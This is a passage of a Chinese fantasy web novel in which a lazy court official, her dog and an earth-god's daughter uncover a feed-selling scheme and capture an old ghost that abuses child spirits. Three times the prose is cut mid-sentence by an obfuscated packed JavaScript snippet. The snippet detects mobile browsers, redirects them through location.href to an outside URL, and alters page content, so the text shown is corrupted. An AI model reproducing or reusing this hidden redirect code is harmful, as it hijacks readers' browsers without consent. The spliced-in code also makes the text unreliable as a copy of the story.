《焉知非福》 1. 夜审（一） 洪垣的名声向来毁誉参半。 夸她的都说她相貌顶好，远山眉、瑞凤眼、眉心痣，活脱脱一个从挂轴上走下来的人物。 骂她的说她疯疯癫癫、奸懒馋滑，偏偏最会媚上，不仅她会媚上，她全家都会媚上，不然她父亲斗败罢官时就该把她一同扔出京城，而不是让朝廷平白养着这条米虫。 传言半年前都水少监范某某挂冠归去，就是因为看见洪垣在城隍庙跟前刨狗洞，后来更是莫名手舞足蹈，他不齿于与此等人同朝为伍，这才愤而辞官。 洪垣听了直翻白眼。 但她确实该感激自己的曾祖父有些福气和魄力，或是前朝那些吃人的官吏逼得全村求活不得，于是仅剩的十口乡民烧毁房舍，背井离乡去投奔在外参军的刘家小子。 说来也巧，刘家小子有些真龙气运，先做了都督，后做了皇帝。 曾祖父在亲军中效力三十余年，从半大小子到娶妻生子，改朝换代后曾祖告老还乡，圣人命祖父接替了曾祖在禁军中的职务，后来父亲又接替了祖父的位置，只是到了洪垣这辈，洪家单她一个女儿，于是当今圣人将她安排到禁军都尉府下的北校事府凤麟司任职，在万珍园里养两只麒麟。 那两只麒麟是先帝登基时外邦进献的贺礼，早八百年就上地府报到去了，洪垣这个麒麟使根本没有麒麟可养，便成了如今这样白吃俸禄的蠹虫。 起初她还能早起上万珍园中画个卯，后来推到午后再去，三个月后便不再去了。 自从洪垣不来以后，万珍园众僚只见一只黄黑相间如烧了十年之锅底的大狗每日早晨叼着短笔来到园中，跳上桌案踩住书册头转一圈，而后昂着头，翘着尾巴便走了。 为了这事，洪垣这个七品小官甚至被参了几本，圣人懒得计较，还夸她狗养的好。 洪垣回头又夸奖狗一番，从此洪垣总是万珍园中第一个点卯的，春来秋去、风雨无阻，堪称万珍园点卯第一人。 当然，都是狗代她去的。 洪垣的狗名叫洪文简，她惯叫它洪二。 其实洪文简也不全然是洪垣的狗，应说是她父亲的狗，这狗活了三十多年，仍旧毛光水滑、活力满满，甚是奇怪。 这日三月初五，万珍园苑令伸头看了太阳，确系从东边升起，揉了眼睛，不是昨夜宿醉未消，活力满满的狗叼着满是齿痕的短笔，他的主人从狗嘴里揪出笔来在册上画了个圈。 苑令一头雾水、犹在梦中，正张嘴想说句什么，对面人拱手“嘿嘿”一笑，快步走了出去，那狗也颇知礼数地朝他作个揖，咧个笑脸，摇着尾巴走了。 苑令满腹狐疑被堵在了半截。 有的人但凡努力一点都令人生疑，洪垣深知自己就是有的人，所以她谨遵亲娘的教导，正所谓伸手不打笑脸人，她依样画葫芦教洪文简，伸手不打笑脸狗。 亲娘还说，祸从口出，所以她笑完就走，不给对方一点攀谈的契机。 她在万珍园中招摇一番，这才领着狗溜进了麒麟园。 如今的麒麟园年久失修，一股陈年的味道，野兔在此做窝落脚，不知繁衍了多少代。 洪垣走马上任后未曾打理过园中半寸，新发的野草堵住了库房的半扇门，只有另外半扇门前还有些许开合的痕迹，把东倒西歪的木门拉开，灰扑扑的屋里有几道从破瓦间漏下的日光。 她走进去查验，本月的饲谷已码放好了，足足填满了小半间库房。 洪垣甫一到任就发觉了麒麟园的蹊跷，两只麒麟已死去二十余年，每月的饲谷还是照例送来，且当月便消耗一空，否则二十年的饲谷堆积起来，整个麒麟园也放不下。 她巡查一圈，发觉草窠里的狗洞，当即便明白八成是有人在偷卖饲谷。 麒麟所吃的粟、豆、面饼每月共计二十石，怎么也能卖一两银子，一年十二两银子，二十年二百四十两银子，一两银子能换一千二百钱，七品官的月俸则是一百五十钱。 洪垣心想这麒麟果真比自己金贵，再想到自己今年不过二十岁，少说做上五十年麒麟使，那得是多少银子。 她霎时头顶浇了滚水般，“嗡”的红光满面，连脑仁都烫昏了。 不管以前是谁在挖国库的墙角，如今被她知晓，这买卖从今往后可就得姓了洪了。 为了自己后半辈子的外快，洪垣大胆设想，小心求证，共获取有效消息两条。 一是值宿说存放在麒麟园的饲谷都是供给隔壁象园的，只因象园库房窄小，才借麒麟园的库房使用。 二是象园的主官应该同她臭味相投，也是个不怎么理事的，除了喂养大象外全是说不清的糊涂账。 洪垣预感这每月一两银子的福气自己是指定能消受了。 可等到找买家接手时，她又觉得自己有些缺德，曾祖和祖父轮番来梦里骂自己，翻来覆去都是怎么能如此辜负圣人呢！ 俩老头把洪垣骂得跳脚，心一横以五钱银子二十石的价格把饲谷卖给了城西的慈幼院。 一两银子的福气消受不起，五钱银子的福气还是能消受的，如此德也只缺了一半，不算大奸大恶。 慈幼院几十号人能吃饱饭，自己赚上五钱的辛苦费，怎么不算皆大欢喜。 至于家祠里的俩老头不乐意，她自有办法，一文钱买上两小块麦糖，回家糊到曾祖和祖父画像的嘴上，果真晚上就清净了。 洪垣的小生意安安逸逸做了大半年，忽然飞来横祸，天塌了。 昨日万珍园修缮完毕，不知是哪个不长眼的把她发财的狗洞堵上了，不仅堵了旧的狗洞，新挖的狗洞也没幸免于难，洪垣气得三尸神暴跳，一想到白花花的五钱银子，难受得想追随先祖而去算了。 伤心过后，她才回过味儿来，二十年间万珍园修缮过多次，偏偏这次把麒麟园的狗洞堵上了，这分明是有人从中作梗。 首当其冲，她就想到了之前倒卖饲谷的人。 俗话说断人财路犹如杀人父母，洪垣不管自己和那人是谁杀了谁的父母，这五钱银子她断不可能拱手相让。 于是今日捱到天明就直奔万珍园而来，看见饲谷全须全尾儿放着，这才稍稍安心。 “洪二！”她把狗招进来，下巴左左右右指示一番，洪文简原地打转一圈，蹿出园去，眨眼便觅不到踪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801462|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影。 以为把狗洞堵上就能让她束手无策，对手还是太小看她洪垣了，事情该一件一件办，等先把这些饲谷卖了，再去料理使绊子的人。 想着洪文简还要些时间才能回来，洪垣斜躺在饲谷上打了会儿盹，正梦到一碗油汪汪的羊杂汤时，感觉有人正在扒拉自己。 她眯开一只眼，看见洪文简正抬起狗爪子要踩自己的脸，狗嘴里叼着一个木俑，眼见着它嘴边的口水就要滴下来了，洪垣跳起来，跳得老高。 对于主人显而易见的嫌弃，洪文简并没有半分黯然伤神，它把嘴里的木俑吐到地上，一副极高兴的样子。 洪垣将木俑拾起来摆正，从怀里掏出三根香，用火折子点燃后就地插在木俑身前。 屋内无风，香烟笔直朝上，悠悠然如同倒流的山岚。三根细烟刚飘到屋顶，木俑后冒出一个小人，穿着红橙衣裙，梳着双髻，圆脸大眼睛，分明与木俑一模一样，小人下半身还在土，鼻尖已伸到香旁：“洪垣啊，还是你家的香火味道好，可馋死我了。” 洪垣凑过去：“好吃吧？” 小人拼命点头：“好吃好吃，再多来点就更好吃了！” 洪垣盘腿坐在一旁，拄着下巴直勾勾地看着她，直等到她饱餐一顿晕乎乎半瘫在地上，小人嗝打了一半，感觉后脊一冷，转头看见洪垣一脸坏水、目露不善，连忙拍响胸脯：“小灯办事你放心。你随便说，咱绝不吃白食。” 小人名叫灯姑，是本方土地的女儿，虽然才十一二岁，但很有些本领，和洪垣一向有点偷鸡摸狗的交情。 “仗义！”洪垣听她言语利落，大拇指一竖，再往后一倒，“你帮我把这些饲谷弄到城西慈幼院去，顺便再帮我拿个人，怎么样？很划算吧？” “你怎么不去抢呢！”灯姑急得坐起来，“三炷香你就要我干这么多活，我还是小孩呢。” 洪垣斜眼看着翻脸的小丫头，令人牙酸地一笑：“你年纪还小，不懂什么叫细水长流。要是你这差事办得漂亮，我每个月都找你，且每月供你三顿香火。” 她收回比三的手拍拍灯姑的脑袋瓜，继续忽悠：“况且你洪大姐的生意若是长久，说不定还能给你，不，给你全家重新弄三尊塑像。到时候咱请全麟城手艺最好的师傅，那塑像要弄就弄贴金的，管教人看一眼都眼花，再把土地庙随便修修，往南州搞六根合抱粗的香木，再到西边砖瓦窑订一批最时兴的琉璃瓦，就是胜春楼用的那种。你说说，是不是很划算？” 小丫头被她搂着肩膀说得迷迷瞪瞪的，光知道点头，什么金、什么木、什么瓦和每月三顿香火，她不敢想往后的日子该有多舒坦。 灯姑支支吾吾：“那、那、那……” “哎——不用谢我，咱俩谁跟谁啊，我可把你当作亲妹子。”洪垣顺杆一爬，这回轮到灯姑腆着笑，小手搓来搓去：“那，那你要拿何人？” 洪垣凑到她耳畔：“你送完饲谷回来，这几夜就在此地守着，无论谁来，你都把魂锁到我家去。” 洪垣算着，饲谷存进库房左右不过这几日，对手既已堵了狗洞必然迫不及待来取，说不准今晚便有眉目。 2. 夜审（二） 大周天都麟城的春夜陶醉人心，渌水河穿城而过，玉辇津风烟俱净，柳枝婆娑中灯影重叠，缓缓吹拂的风揉开草木。 洪垣家住在天街西北的南局巷里，宅子后门直通渌水河。 自从父亲被罢官逐出麟城后，她娘也追随夫君游山玩水去也，两口子带走了家中唯二老仆，只剩洪垣一个人在这不大的二进宅子里自生自灭。 如愿收了本月的五钱银子，洪垣在食肆里打好牙祭，顺着河岸漫步回家。 洪文简仍是精神抖擞，迈着碎步在前头领路。 洪宅细长一道，房屋两层，中间天井长宽不到十步。 尽管有些逼仄，但在寸土寸金的麟城能有一套这样的宅子已属不易。 洪垣饭饱神懒，回家便在游廊长椅上和衣睡着了，等被狗叫声吵醒时已是月上中天。她睁眼便看见灯姑拖着什么东西从门外进来，那东西鬼哭狼嚎的，惊得洪文简也乱叫一气。 灯姑撒开手中的鬼绳，一屁股坐在地上，气还没喘匀就数落起来：“叫什么叫，我大姐叫你来问话，又不会吃了你。” 那东西呜呜咽咽缩做一团不肯露头，洪文简上前嗅了嗅，干呕几下跑走了。 洪垣顿觉不妙，翻身到天井里，捏着鼻子把那东西提起来，竟是个又脏又臭、干干巴巴的小鬼。小鬼不及两尺长，叉着手夹着腿，不敢抬头见人，黑黝黝的脑袋上横七竖八趴着几根黄毛。 洪垣沉默许久，终于憋不住换了一口气：“小灯，要不你给他洗洗。” 灯姑现如今对她异父异母的亲大姐言听计从，当即一骨碌爬起来，抓过小鬼拖到后门渌水河边，洗衣服似地把小鬼在水里揉揉搓搓、淘淘涮涮，小鬼脱身不得，只能一边吐水一边哇哇大哭。 约莫半柱香时间，灯姑把滴水的小鬼拎进来，这回连头上的毛都没了。 洪垣本以为能拿个主谋的生魂来，再不济也是那主谋的同伙，谁知锁了个小鬼，也不知是不是弄错了，心下已凉了半截。 她还没开口，小鬼已扑到跟前，纳头便拜，咿咿呀呀的，听不懂要说什么但总之不是骂人。 洪垣又把他提起来，放到石凳上：“小孩，你不会说话？” 小鬼摇摇头，张开嘴，口里空荡荡没有舌头。 “可识得几个字？”她又问。 小鬼依旧摇头。 她看小鬼颤颤巍巍的，有点可怜，转身到家祠里拿个贡果给他吃，小鬼接过去，背着身吃起来。 洪垣见了直摇头：“你孤身一人，没有同伴？” 大约是吃急了，小鬼没有摇头也没有点头，嗯嗯两声，洪垣倚着树看他舔手：“我且放你回去，你带个识字的来回话，你要是不来，屋里的茶点我可就自己吃了。” 小鬼两眼放光，忙不迭应声，洪垣朝灯姑使个眼色，只见她小狗般蹲在洪文简身旁，搂着狗脖子，听见有吃的，两个都眼巴巴望着洪垣。 她只能折身回去，趁着列祖列宗在牌位里安睡，又偷了三个果子出来，两个给灯姑和洪文简，一个祭自己的五脏庙。 灯姑吃罢，心满意足跟着小鬼从前门出去，洪垣坐在游廊上百无聊赖地晃脚，正迷迷糊糊要闭上眼，被一颗石子砸了脑袋。 她抬头去寻，瞧见隔壁萧家二楼窗户开着，不见人影只听见有男子说话：“你要睡就回屋里睡，否则明天就别来哭自己头疼脑热。” 她捡起石子在手心里掂两下，答非所问：“我明天要去喝羊汤，萧参军要不要赏脸同去？” 回应她的只有合窗声。 洪垣和萧慧极打小一起长大，初听他的名字会以为是个狂悖的书生，其实非也。 她脑海里想起萧慧极那张沉静的脸，止水一般，木石一般，浓眉垂眼平和无棱，旁人总喜欢夸箫家郎君姿容文雅美丽，颇有古人风范。 她一想到像他那样性子温吞的人因喝了羊汤满头大汗、白生生的脸皮涨得通红的样子，就忍不住耸着肩一阵窃喜。 到时候她必定要掏空毕生所学挖苦他。 正打着腹稿，灯姑哈欠连天地回来了，先前的小鬼牵着另一个蓝衣小鬼跟在后头，蓝衣小鬼衣着稍显体面，稀稀拉拉的头发扎个小辫，总好过一根没有。 洪垣不知道灯姑已经在路上把她吹上天了。 什么当朝股肱之臣，什么城隍爷也得卖个面子，什么嫉恶如仇大大、大大的善人，故而两只小鬼磕完头把状子递上时，她还不知这是什么东西。 不知两鬼从哪里弄的破纸，满是虫啃虫噬，小鬼的字也是写的缺胳膊少腿，洪垣可算懂了什么叫漏洞百出。 她边读边猜，原来先前的小鬼名叫二梨，蓝衣小鬼则叫茂郎，都是年少夭折的小鬼。 麟城东门外玉辇津旁，有一片山坡，城中夭折的孩子没有坟茔便都葬在此处，久而久之人人都叫那里埋儿坡。本来这地界有山有水，许多城中居民和津口来往的客商游人念及他们可怜时常祭奠，因此小鬼们在阴间也不糟冻馁。 二十四年前，不知从哪儿来了一只老聻，所谓人死为鬼，鬼死为聻，正如人怕鬼一般，鬼也怕聻。 这只老聻在埋儿坡占山为王，从此霸占酒食香火、奴役小鬼外出作祟，闹鬼的人家只得设祭，老聻吃得脑满肠肥，小鬼们却是忍饥挨饿，个个骨瘦嶙峋。 有只洪姓小鬼不堪虐待，托梦向家人哭诉告状，家人找来法师做法，反倒全家被聻害死，洪姓小鬼也被关进坛中化成血水。 自那以后，老聻就将小鬼们的舌头全部拔下，放在他床下的大缸里。 这些小鬼做人时最大也不过六七岁的孩童，被老聻日日惊吓，再不敢告状伸冤，一直被欺压至今。 洪垣额头青筋直跳，岂有此理，竟敢欺负到她同姓头上，她问二梨：“以前就是那只老聻让你们去麒麟园偷饲谷，二十四年从无间断？” 二梨点头，洪垣再问：“他要那些饲谷做什么？” 二梨摇头不知，一旁的茂郎拿石头在地上划拉片刻，只道曾无意听过老聻说要孝敬上仙。 洪垣心里已有了打算，灯姑不知道什么时候趴在洪垣肩上把状子看完了，气得砰砰锤洪垣肩膀：“告！必须要告！城隍爷不管我管！我小灯绝不许我爹的地盘上有此等恶贼！” 洪垣斜睨她：“早二十年你怎么不说呢？” 灯姑理直气壮：“那是我不知道。” 洪垣眉毛搭起戏台，尽唱些揶揄的损词，灯姑狡辩不出，又把胸脯拍得梆梆响：“二梨、茂郎你俩放心，等我爹回来我就同他说，他是本方土地，肯定能解救你们。” 二梨和茂郎并排蹲在石凳下边，似乎不太相信这小丫头有那么大本事，又偷眼看洪垣，这人倒是官身，周身红气，像是能主事的，于是还是眼泪汪汪看着个儿大的，求她救命。 “好小灯，你就别添乱了，”洪垣拽住小丫头，悄声吩咐，“你去把你爹的酒葫芦偷来，剩下的全看我的。” 她转身又安排起两只小鬼：“你俩回去，教那老东西知道是我把饲谷截了，只要你们今夜能把他撺掇来找我寻仇，鸡鸣时分我必定捉住他。” 两只小鬼行个大礼，茂郎将信将疑拽着二梨离去，二梨不住回头，洪垣才想起刚刚骗他说有茶点吃，她挥挥手叫他放心，自己可不是小气的人。 洪垣瞧瞧月亮，将状纸收进怀中，又把鬼绳鬼网布置在八角门前，只要老聻一露面就将他死死网上。 灯姑来去如飞，片刻就将土地公的酒葫芦偷拿出来，这葫芦是件法宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801463|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，神鬼妖怪都装得，偏生落到土地公手里，只拿来装酒。 灯姑抹了额头上的冷汗，四下张望一番，抱着洪垣的脑袋咬耳朵：“还好我爹这些日子不在家。你不会要用葫芦装那老贼吧？要是让我爹知道，我非得被家法伺候不可。” 洪垣夸她聪明，她大呼救命。 灯姑悔不当初，但贼船已上，想要下船那是万万不能了。 其实洪垣心里也有些发虚，她话虽说得满，但也是头一次对付老聻，思来想去，退堂鼓正捶得心慌张，一阵冷风灌进来，吹得她汗毛倒立、牙关咬紧。 刚刚还愤世嫉俗的灯姑已经躲到她身后，一整个挂在她后背上。 洪文简睡得肚皮朝上，没一点保卫主子的自觉。 洪垣已是见怪不怪，从灯姑手中抠出酒葫芦，风静了一瞬，只见一道白影闪进来，她一拉绳结，网和绳具是一空。 洪垣心道不好，白衣老聻已朝她扑过来。她手脚吓得一软，随即怒从心头起，恶向胆边生，拔开葫芦塞子一步向前，把葫芦口直直按到老聻面门上。 老聻怪叫一声，脸皮被葫芦吸走半张，他拽下另一半脸皮一扔，拔腿就跑。 洪垣手比脑子快，一把揪住他的头发，谁知老聻的皮从头顶裂开，又跑出一个白森森的老聻，洪垣只抓下一层皮来。 眼看老聻就要逃走，洪垣连忙大叫小灯。 灯姑蹿到半空，颇视死如归地“啊啊”大喊着，一头撞在老聻的屁股上，把逃活命的老聻撞倒在地。 洪垣两步抢到跟前，葫芦将将举起，老聻像是后脑勺长了千只眼睛，扭头喷出一股黑气。 洪垣躲避及时，没被鬼气喷中面门，但仍被这股千年粪臭熏得止不住干呕，灯姑也被他掀翻在地，四脚朝着天顾不得起身，捂紧了口鼻在地上打滚。 老聻见这招有用，七窍都涌出黑气，水烟般往下流，顷刻溢满了洪家天井。 洪垣只觉得眼睛被麦芒刺了又刺，眼泪滚滚长流着，顾不上擦眼泪也顾不上骂骂咧咧，一脚踩住刚爬起身的老聻，屏住呼吸把葫芦按到他背上。 老聻哀嚎惨叫、鼓瘪胀缩，黑气噗噗乱冒，头颅极尽所能变幻出一张张人脸，人脸狰狞万状，皆是濒死模样。 她脸扭朝一边，扯的好似拉面。 也不知这老聻套了多少皮，任葫芦吸了半天还是一层糊一层的，洪垣开始怀疑这法宝是不是不太灵验才沦落到装酒。 灯姑缓过气站起，勉强从一片黑气中分辨出现如今的情状，她恨铁不成钢地跑过去，夺过葫芦对准老聻头顶。 老聻连同汩汩喷流的黑气一起"嗖"地被吸进了葫芦里。 天井一时风清气朗，月已不见，天边渐白。 洪垣泪眼婆娑，坐在地上歇气，灯姑上下左右腾挪，倒翻十八个跟斗，誓要把葫芦里的老聻摇匀。 忽然她脸色一白，好像是听见那老东西吐在葫芦里了。 鸡鸣时分，洪垣总算圆了自己夸下的海口，将老聻捉进葫芦，她和灯姑背靠背坐在地上不再动弹，一个是困倦乏力，一个是心如死灰。 她脑袋空空，鼻尖捉到一丝香气，飘飘然被香气牵起头，正看见一串小鬼挤挤挨挨地脚踩着脚逃进来。 这些家伙竟全躲在门口，却不来帮把手，这会儿又似乎被什么东西吓到，一股脑摞在离门最远的墙角。 洪垣拿起葫芦准备再斗一场时，萧慧极掀衣跨进门来，小鬼怕的原是他。他官拜麟城府司法参军，掌管刑狱，刑官有肃杀之气，鬼向来都要退避三分。 洪垣不去管小鬼，定睛瞧他手里端的东西。 她鼻翼翕动。羊汤，是油汪汪的羊汤，是洒了小葱、香喷喷、油汪汪、暖烘烘、勾魂夺魄的羊汤。 3. 夜审（三） 萧慧极知道洪垣与常人有些不同，尤其是在她总说梦见公玉家那个做了麟城城隍的老祖宗后。 老祖宗喜欢她，整天把她支使得团团转。 洪垣的娘姓公玉，名仪，自称她们一族是祝官血脉，易通神鬼，此话有人相信也有人不信，萧慧极自然是信的一方，否则他很难解释洪垣的某些行为。 比如昨夜她在自家天井中自言自语，后半夜又弄出臭不可闻的黑雾。 自小从不缺人觉得她怪异，不愿与她来往，萧慧极倒是不大放在心上，他常做的事便是在一旁安静地等，等她把怪话说完，等她把怪事做好。 萧慧极不觉得她怪，洪垣也不觉得自己怪，时间一久，再没人计较她怪或不怪。 只是洪垣有时，确实让人一言难尽。 他看着洪垣双手捧碗，一仰头就把羊汤尽数倒进了嗓子眼儿，等她把碗放下时，露出一张脏兮兮的脸，只有两道白得扎眼的泪痕是干净的。 在摸了一下钱袋子后，洪垣就着这张人鬼莫测的脸蛋，矫揉造作地眨眨眼：“萧郎，我饿了，想吃些茶点。” 萧慧极惜字如金，冷飕飕瞥她一眼，把手绢拍在石桌上转身就走。 洪垣摸摸下巴，拿起手绢擦脸：“怎么还生气了？” 灯姑飘起来，圆溜溜的眼睛一闪一闪，左眼写着“茶”，右眼写个“点”，跟着洪垣混，果真一天吃三顿。 洪垣把她攮到一边，叫了二梨和茂郎过来跟前：“今夜我到埋儿坡去，先找你们的舌头，然后选一人随我到城隍庙回话。” 她沉了口气，着重强调：“选个胆大的，不许再躲着不吱声了。” 小鬼点头如捣蒜，退下后还给她端了盆洗脸水来，洪垣这才看见水里自己荡漾的花脸，再看手里抓着的手绢，刚从泥里撬出来似的，只从边角能看出原是秀气的鹅黄色。 洪垣赶忙打了井水清洗换衣，狠狠搓了几次才将箫慧极的手绢洗净。 一众小鬼起先有些怕她，躲在墙脚的影子里，架不住孩子心性，一会儿蹦出一个脑袋好奇地打量，偷偷向前试探几步也不见她生气，便呼哧呼哧地围过来，扒着盆边看她洗手绢。 洪文简一觉睡醒，看见一堆大脑袋怪东西，吓得嗷一嗓子，小鬼们惊慌散开，躲得不见鬼影。 正巧金芒浸入，屏退了夜色，日夜轮替，到了破晓时刻。 洪垣瞌睡虫上头，眼皮刀兵相见，不等斜倚的半壁彤光漫过花窗的第二格，头已砸在桌上，和灯姑一道睡着了。 再醒来时，已到午后，洪垣从背上扯下一件外裳，看桌上放着食盒，晾在树枝上的手绢也被取走，想来箫慧极已经来过。 她灌了瓢井水，拉开食盒，里头只剩一块米糕，想也不必想，灯姑和洪文简肯定都吃到打嗝。 洪垣回头，那两个具是谄媚讨好地笑，灯姑迎上来：“洪垣姐姐你醒啦？” “停，”洪垣伸手打住，“今晚可没你吃的。” 灯姑扭捏作态：“说什么呢？我小灯是那种人吗？”她飞到洪垣右手，从袖子里掏出一叠彩纸拉开，在身前比划：“我猜你要设祭，裁了一下午纸衣。看看这样式，这配色，这手艺，全麟城再找不出第二家。” 洪垣一把揽住自家亲妹子：“靠谱啊小灯！” 两人回头看狗，同仇敌忾，洪文简耷拉眉头，眼睛上瞟，片刻不敢落下来。 多吃了两口白食的洪文简只得出卖力气，担着两个箩筐，一边放洪垣从家中搜刮出的香烛纸钱，一边放巷口买来的果子点心。 半路洪垣吃了半只肘子和一碗素面，一人一狗黄昏时打东门出城，灯姑走得快，早早去找了把铲子在埋儿坡候着。 夕阳如血，铺陈在千里无垠的原野上，片片割开的麦垄深浅交错，带着暮春的清澈与沉寂，熏黄的风流淌而过。 黯淡的大地当中，是一条金光四射的河流，平静如鉴，蜿蜒似绸。 河南岸便是古津口，传说北仙在此乘玉辇蝉化登仙，因此唤做玉辇津。 顺着玉辇津向东再走数百步，能看见一片草木幽深的土坡，这里终年阴冷、鲜有人迹，偶有祭奠之人往来。 洪垣去时，只与一个提着空篮子的老妇人擦肩而过，除此之外再没遇见别人。 日落很快，眨眼天已擦黑。灯姑从树林里出来，吹一口气，帮忙把祭品摆好，洪垣燃着香烛黄钱、纸衣纸鞋，筵请小鬼入席。 寒风兀的自树林深处平地生起，洪垣眯起眼睛，鬓发飞舞，火焰明明灭灭，她的脸也在明暗中跳跃着。 那风也怪，吹了一阵仍不肯罢休，洪垣没耐心耽搁，大声喝问：“二梨、茂郎何在！” 两小鬼从后边冒出头来，揪揪她的裤腿，洪垣回头，两鬼眼神吞吞吐吐，早晨那一众小鬼也躲在远处。 她一时明了，小鬼也党同伐异、互相倾轧呐。 想着有些好笑，却不是笑的时候，她收敛神色，正声道：“城隍爷忠义公命我来此，有冤伸冤，无冤退避，若是不知好歹故意作祟，等神将鬼吏到来，定将尔等扬灭。” 话音刚落，风猛地一掀，她一屁股坐在地上，差点没回过神来。 看来城隍爷忠义公的面子也不是那么大。 洪文简象征性地叫两声，以示自己对得起养育之恩，然后夹着尾巴靠边站，灯姑更加自觉，还将洪文简往更边上拉了拉。 瞧见来客的窝囊样，妖风更加猖狂，席卷着沙石枝叶冲天而起，风声如同嚎叫一般嘶哑战栗。 洪垣连抓几把野草才没一个倒仰打起滚来，更别说睁开眼说句话，她稳住身子，手遮住眼，往指缝与眼缝的犄角旮旯里寻到几张模糊怪异、拉长变形的孩童脸蛋。 她一把逆风抓过去，似乎抓到一只冰冷的胳膊，不管三七二十一便拽到腿上，抡圆了胳膊朝着该是屁股的位置扇下去。 小鬼哇地大哭，洪垣目露凶光，往死里锤这两瓣屁股。 风悚然停滞，众鬼骇然。 洪垣打到面红耳赤、脑门冒汗、气喘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801464|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吁吁才停手：“还有谁不想好好吃饭？” 不知是谁在咽口水，极轻极缓，最终掌控不住力道，咕咚一声。 小鬼们默然排着队去分食祭品，趴在她腿上的小鬼也抹着眼泪一瘸一拐走去。 虫鸣鸟叫全都绝迹，洪垣听见渌水河潺潺的声音，灯姑煞白的小脸堆叠着笑容，老远就这样飞过来，殷勤地为她垂肩捏腿：“辛苦辛苦！” 她叫灯姑把二梨和茂郎找来，指清老聻居住的位置，束起袖子铲起土来。 闹了之前的一出，之后倒是毫无波澜，洪垣往下挖了半人高，挖出一个两掌大的石匣子，打开石盖，匣中雕梁画栋、金碧辉煌，床柜桌椅各式家具应有尽有，文藻雕花配的是珠玉玛瑙，金银瓷器盛满了四时花草。 这便是老聻的居所。 洪垣眼放精光，还来不及细数，一阵风吹过后匣子里只剩下些牛粪枯骨，霎时气得某人鼻歪眼斜。 她把骨头下的一个白瓷小瓶拿出来，石匣扔在地上，灯姑飘来：“这就是那个放舌头的大缸？怪小的。” 洪垣心想老家伙还挺讲究，扬手将瓷瓶抛在地上，烟尘四起，散去后只留满地蹦跳的舌头。 等候在旁的小鬼一拥而上，有攥着三四根舌头挑三拣四的，有两三个争抢一根舌头的，有装了舌头拔下来又换的，有觊觎别鬼的舌头急得抠嘴的。 一时间吵吵嚷嚷，烦得洪垣想把那些舌头再收回来。 她靠着树干歇息，二梨和茂郎引着一个高个小鬼过来，小鬼看上去已是少年，身着青衫，举止从容，似是大户人家的孩子。 二梨穿着一件又红又绿又紫的新衣裳，似乎还不太习惯找回舌头的感觉，憋了半晌才从嗓眼里飘出一声蚊子叫：“恩人，这是思晦。” 思晦躬身作揖：“小人姓徐名思晦，万衢人氏，跟随父母来麟城经商，客死在此。我在此处年深日久，也识一些字，愿随恩人到城隍爷面前回话。” 小鬼彬彬有礼，言辞通达，洪垣很是满意，正要点头，却是有人不乐意了。 “凭什么他去？要去也该是小爷去！” 洪垣打眼一瞧，有只小鬼抱着双臂、斜支条腿，挂着一边肩膀，拿眼角看人，他身后跟着一众狗腿子，当中还有个捂着屁股的。 她也用眼角看他：“行啊，你先报上名来。” “行不更名，坐不改姓，麟城八门总把头丘无玷。”小鬼得意抱拳，还真有些江湖人气质。 洪垣眼角嘴角皆是抖了抖，什么八门总把头，她看是把门总把头还差不多。 “好好好，丘总把头——小女子请你同去回话。”她也抱拳，嘴里音调阴阳怪气。 丘无玷朝天的鼻孔降下来，皱着眉审视她片刻，转身同其他小鬼窃窃私语一番，这才答应。 天色已晚，城门早已关闭落钥，洪垣领着徐思晦、丘无玷两鬼在门外等到寅时一刻。 钟声报晨，城门开启，洪文简驮着熟睡的灯姑跟在主人身后，直奔城隍庙而去。 4. 夜审（四） 寅时的天尚是鸦青色，月昏星淡，路上，没有月霜。 莽五拢起衣领，森冷的夜气浸透后背，满腹晃荡的酒已经顺着毛孔变成汗水流干，一身热汗结成寒冰，顺着骨头缝直钻进五脏肺腑里，冷得他心突突乱跳。 他听见自己沉重的喘气声，连铲土盖土的声音都淹没了，看着坑里那双人脚慢慢消失，他终于卸了力，胀痛的耳朵听见风声，心好似要裂开跳到九霄上。 “莽五，你杀人啦？” 冷不丁一句调笑，打后脑勺传来，顺着头发丝“嗖”地蹿上天灵盖。 莽五肝胆俱裂，小腹一紧，刹那间尿意上涌，他两腿绷直，转头时已变幻出一张笑脸：“杨差，你别取笑我了，我这就是趁老婆回娘家藏点私房钱。” 姓杨的做差役打扮，他似笑非笑却不说话，隔着篱笆盯着莽五。 莽五腿软如泥，急忙哈腰拉开院门：“杨差，杨大哥，有事好商量，你老人家先进屋喝杯茶，我还有好东西要孝敬你呐。” 杨差役见他识趣，心满意足地"嗯"了一声，抬脚进院。 